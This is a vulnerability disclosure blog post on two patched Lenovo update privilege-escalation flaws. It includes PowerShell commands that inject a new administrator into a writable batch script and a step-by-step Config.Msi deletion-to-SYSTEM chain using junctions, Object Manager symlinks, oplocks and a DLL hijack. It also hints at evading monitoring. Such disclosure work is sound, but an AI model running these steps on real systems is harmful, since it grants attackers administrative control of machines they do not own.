Lenovo Update Your Privileges

A journey into the discovery of two privilege escalation vulnerabilities in the Lenovo update functionality.

The information in this blog post is related to the the following vulnerabilities detected by Compass Security:

• CVE-2022-4568 in Lenovo System Update prior to 5.08.01
• CVE-2022-4569 in ThinkPad Hybrid USB-C with USB-A Dock Firmware Update Tool prior to V1.0.35_v2

The presented vulnerabilities were disclosed immediately after discovery and Lenovo has remediated both vulnerabilities as of the writing of this blog post.

A Wild CMD Window Appears

Have you ever been working and suddenly an unexpected CMD window shows up, grabs your keyboard focus and disappears again?

It was this unpleasant experience that started the journey. An unexpected and quickly disappearing CMD window always leaves a bland aftertaste – especially working in IT Security. This is why we decided to push off work for a few minutes and started a quick investigation into the origins of the window.

As one of our Forensic Readiness practices, we audit Process Creation including the Command Line resulting in an Event Log entry for every started process.

The investigation into the Security Event Log revealed the following interesting Event ID 4688 at the relevant time, showing the executed process:

Executable Path	User Name
C:\DRIVERS\ThinkPad_Hybrid_USB-C_With_USB-A_Dock_MFG_Driver_V1.0.0.15\Drivers\Win10\x64\dpinst.exe dpinst.exe	lenovo_tmp_jrhlXESX

We may therefore assume the observed CMD Window is related to an automatic Lenovo update installed for the ThinkPad Hybrid USB-C Dock.

Furthermore, the elevated CMD Window runs an executable in the path C:\DRIVERS\ThinkPad_Hybrid_USB-C_With_USB-A_Dock_MFG_Driver_V1.0.0.15 under a user lenovo_tmp_jrhlXESX ?

Let’s look at the user first.

The lenovo_tmp User

A user account is created during a Lenovo System Update as a way for restricted users to install updates with elevated permissions. UACSdk.exe creates the user with the prefix lenovo_tmp_ and a partially randomized username consisting of four lowercase and four uppercase characters. The account is created as a regular user at first via NetUserAdd and later on added into the Administrators group.

Vulnerabilities were found in the user creation in the past and the according blog article by IOActive describes the behavior of the Lenovo Update well.

Can we obtain the credentials to the user?

The password of the user is generated before user creation. Mainly the deprecated function CryptGenRandom is used for generating 76 random bytes.

After this, the randomly generated bytes are split, shifted, and mangled together and then converted to UTF-8 Unicode. In the end, a total of 19 characters are selected for the password and a null terminator is included.

The short analysis of the password generation did not result in a viable option to obtain the password.

However, it remains to say that the password generation method also involves behavior, which was not fully understood. For example, the creation of a hash of the random bytes and the immediate destruction of the result (potentially checking for errors?).

Usually, the user is deleted after the installation of the updates is finished. There is also a cleanup routine to delete all users with names containing lenovo_tmp potentially dealing with the issue of not always fully deleted users.

Interestingly, some companies may have introduced a monitoring exceptions for account creation with names, such as lenovo_tmp, which may come in handy when running an attack.

This has definitely been a contentious issue for anyone who monitors account creation in their environment for some time.

The options are

ensure deletion of the account after the updates occur

don’t monitor lenovo_tmp_* accounts

don’t use the update software

— Jim Schwar (@jimiDFIR) July 27, 2020

Furthermore, the path from where the executable is started is unusual as well.

The Path

The C:\DRIVERS path of the executable caught our eye because on a usual Windows installation, the user has permissions to append subdirectories to the drive root and naturally has modify permissions on these directories.

A quick check off the file permissions or more precisely discretionary access control lists (DACLs) with icacls shows that all authenticated users have modify permissions on the directory in question as well:

PS> icacls C:\DRIVERS\ThinkPad_Hybrid_USB-C_With_USB-A_Dock_MFG_Driver_V1.0.0.15
...
  NT AUTHORITY\Authenticated Users:(I)(M)
  NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Therefore, it should be possible to replace the Lenovo executable dpinst.exe with another executable and trigger an update to reach code execution under the elevated lenovo_tmp user.

Well, yes but no: There is a digital signature check of the executable involved (which on a side note may have been prone to a bait and switch attack), but an easier exploitation is possible:

The Event Logs show, that in the same modifiable directory, there is a batch file DriverInstallerScript.bat run under the same elevated permissions during the update.

Executable Path	User Name
c:\DRIVERS\ThinkPad_Hybrid_USB-C_With_USB-A_Dock_MFG_Driver_V1.0.0.15\DriverInstallerScript.bat  /silent	lenovo_tmp_jrhlXESX

This batch script tries to determine the current OS Version and ultimately runs the before observed dpinst.exe. As there is no file signature, it should be possible to simply modify the batch script and run the update to execute commands.

Exploiting CVE-2022-4569

Naturally, the ThinkPad Hybrid Dock is required for this exploitation. However, if it is present, a few lines of code allow to exploit CVE-2022-4569: The following example shows how to insert a new administrator through the batch file and start of the Lenovo Update Service as well as run the command for an update:

PS> echo "net user /add InsertedUser S3kur.Password.Here.123" >> "C:\DRIVERS\ThinkPad_Hybrid_USB-C_With_USB-A_Dock_MFG_Driver_V1.0.0.15\DriverInstallerScript.bat"

PS> echo "net localgroup Administrators InsertedUser /add" >> "C:\DRIVERS\ThinkPad_Hybrid_USB-C_With_USB-A_Dock_MFG_Driver_V1.0.0.15\DriverInstallerScript.bat"

PS C:\Program Files (x86)\Lenovo\System Update> .\ConfigService.exe start
PS C:\Program Files (x86)\Lenovo\System Update> .\TvsuCommandLauncher.exe 5

As behavior like adding a new user is usually monitored, the triggered alert nicely displays the chain of events:

It is up to the reader to think of a stealthier strategy for exploitation or a username with monitoring exclusions.

More DACL Issues

During the analysis of the executables involved in the Lenovo Update, several executables were quickly glanced over. One notable executable is named Tvsukernel.exe, which is typically run under the administrative lenovo_tmp user by the “System Update” Service.

Tvsukernel.Startup.Main shows the following cleanup routine:

The Directory.Delete call shows the directory C:\TvsuSession is recursively deleted. This means all files and subdirectories within the directory are deleted as well:

Similarly to above, this directory can be created and modified by any authenticated user as well. But how can we exploit this recursive folder deletion?

From File Deletion to Elevated Code Execution

In 2021, Abdelhamid Naceri has demonstrated a technique, on how deletion of user writable folder contents by an elevated account may lead to code execution under the elevated accounts privileges. An excellent description of the technique is found on the blog of Zero Day Initiative.

Although having been used in a multitude of exploits recently, this technique is still not common knowledge. Therefore, we will go over the building blocks.

First, how would we get code execution from an arbitrary file deletion?

The Windows Installer Service

The Windows Installer Service is responsible for performing installations of applications. During every installation, the service creates records of all changes performed. These records allow a rollback in case of an error during installation and therefore allow reverting to a previous system state cleanly. The records are stored in a folder named C:\Config.Msi.

Control of these records (by overwriting them) results in the control of the filesystem state after an installation rollback is performed. Therefore, if attackers can delete the C:\Config.Msi directory during an installation with elevated privileges, they can then write their own records to be executed when triggering an installation rollback. A typical attack record would drop a file such as an executable or DLL to disk, which is then executed under a privileged account at some point.

Now, how does this help us?

With the found vulnerability we can delete the directory C:\TvsuSession with administrative privileges but how can it replace C:\Config.Msi?

Bending Directory Content Deletion

Ideally, we would now want to create a symbolic link from C:\TvsuSession to C:\Config.Msi in order to bend the deletion of files from the Lenovo directory to the other. However, unprivileged Windows users can’t create symbolic links.

This is where a technique pioneered by James Forshaw comes in: NTFS Junctions in combination with Object Manager symbolic links as described in the following blog article by Almond Offensive Security.

NTFS Junctions

NTFS junctions are a filesystem feature like Unix mount points for directories. It allows unprivileged users to create a link from one directory to another directory only. However, upon deletion of the junction pointing at directory, the original directory is not deleted. As we want to link the files within the directory, such a Junction will only go halfway.

Windows Object Manager

The Windows Object Manager manages objects such as files, devices and registry keys. It can be accessed for example using WinObj by Mark Russinovich. The part interesting to us is, that unprivileged users can create symbolic links in Object Manager directories such as \RPC Control. Such a symbolic link can point to any path on the filesystem including files.

When chaining NTFS junctions together with Object Manager symbolic links, unprivileged users can create sort of a pseudo symbolic link. We could use such a pseudo symbolic link from C:\TvsuSession to C:\Config.Msi to forward a deletion of the content.

An example tool to create these pseudo symbolic links is provided in the symbolic link-testing-tools Developed by James Forshaw:

PS> .\CreateSymlink.exe C:\TvsuSession\file.txt C:\Config.Msi\file.txt
Opened Link \RPC Control\file.txt -> \??\C:\Config.Msi\file.txt: 00000098
Press ENTER to exit and delete the symlink

Opportunistic Lock

As we are now able to delete the records of the Windows Installer, we may in theory be able to conduct an attack but we would have trouble getting the timing of the deletion right. This is where the opportunistic lock (oplock) comes in. This lock can be placed on a file and whenever another process tries to accesses the locked file, a callback routine is triggered to inform us about the access. Furthermore, the file access of the other process is delayed until the callback returns. Therefore, the oplock can for example be used to coordinate actions and gain time in race condition scenarios.

Tying Techniques Together

With this, the building blocks for the exploitation of the vulnerability in Tvsukernel.exe are set. The exact technique exploiting the Lenovo System Update DACL issue is described in more detail on the blog of the Zero Day Initiative under From Folder Contents Delete to SYSTEM EoP.

These are the exact steps performed:

1. Start an installation using the Windows Installer Service, which is set up to fail at a later stage.
2. Create the following folder structure: C:\TvsuSession\folder1.
3. Create a file within: C:\TvsuSession\folder1\file1.txt.
4. Set an oplock on the file C:\TvsuSession\folder1\file1.txt.
5. Run Lenovo System Update and wait for Tvsukernel.exe to start the deletion of file1.txt. This will trigger the oplock.
6. In the oplock callback:
   • Move file1.txt elsewhere, so that C:\TvsuSession\folder1 is empty and could be deleted (directly deleting file1.txt would require the release the oplock).
   • Recreate C:\TvsuSession\folder1 as a junction to the \RPC Control folder of the object namespace.
   • Create a symbolic link at \RPC Control\trick.txt pointing to C:\Config.Msi::$INDEX_ALLOCATION (deletion of the $INDEX_ALLOCATION directory stream is similar to the deletion of the directory).
7. When the callback completes, the oplock is released and the vulnerable process continues execution. The deletion of file1.txt becomes a deletion of C:\Config.Msi.
8. Create C:\Config.Msi with your own instructions.
9. Fail the installation started previously and wait for the installer to apply the rollback from your own instructions.
10. Profit.

The creation of an Object Manager symbolic link in general is a highly suspicious endeavor especially when linked to C:\Config.Msi::$INDEX_ALLOCATION and such actions may therefore be detected:

We have not further investigated into an exploitation variant for the Lenovo System Update vulnerability without the Object Manager symbolic link and are therefore unaware of a stealthier variant.

Exploiting CVE-2022-4569

The Zero Day Initiative has provided another GitHub repository with a framework where such an attack is readily implemented. The specific implementation places the file C:\Program Files\Common Files\microsoft shared\ink\HID.DLL on disk. The placed DLL hijacks the execution of the On-Screen Keyboard and allows to get a SYSTEM command prompt upon start of the Keyboard.

Using the provided implementation, the following steps allow the exploitation of CVE-2022-4568:

Prerequisites: The directory C:\Config.Msi must not exist. If it does exist, the same vulnerability may be used to delete the directory before starting the process.

1. Set up for the privilege escalation upon deletion of the Config.Msi folder.
   .\FolderOrFileDeleteToSystem.exe
2. Set up the pseudo-symlink (NTFS Junction and Object Manager symlink):
   .\FolderContentsDeleteToFolderDelete.exe /target C:\Config.Msi /initial C:\TvsuSession
3. Run Lenovo System Update:
   .\ConfigService.exe start && .\TvsuCommandLauncher.exe 8
4. Open the On-Screen Keyboard

Keep in mind, the On-Screen Keyboard DLL Hijack is well known and certainly monitored for. Such actions should usually be detected:

For a more stealthy privilege escalation, another technique should be used.

Key Takeaway

Whenever a privileged process performs operations on a user modifiable part of the filesystem, there is a potential for privilege escalation. Even if the operations performed are as small as a file deletion, the consequences may be significant.

Links

CVE-2022-4568

• Lenovo
• Advisory

CVE-2022-4569

• Lenovo
• Advisory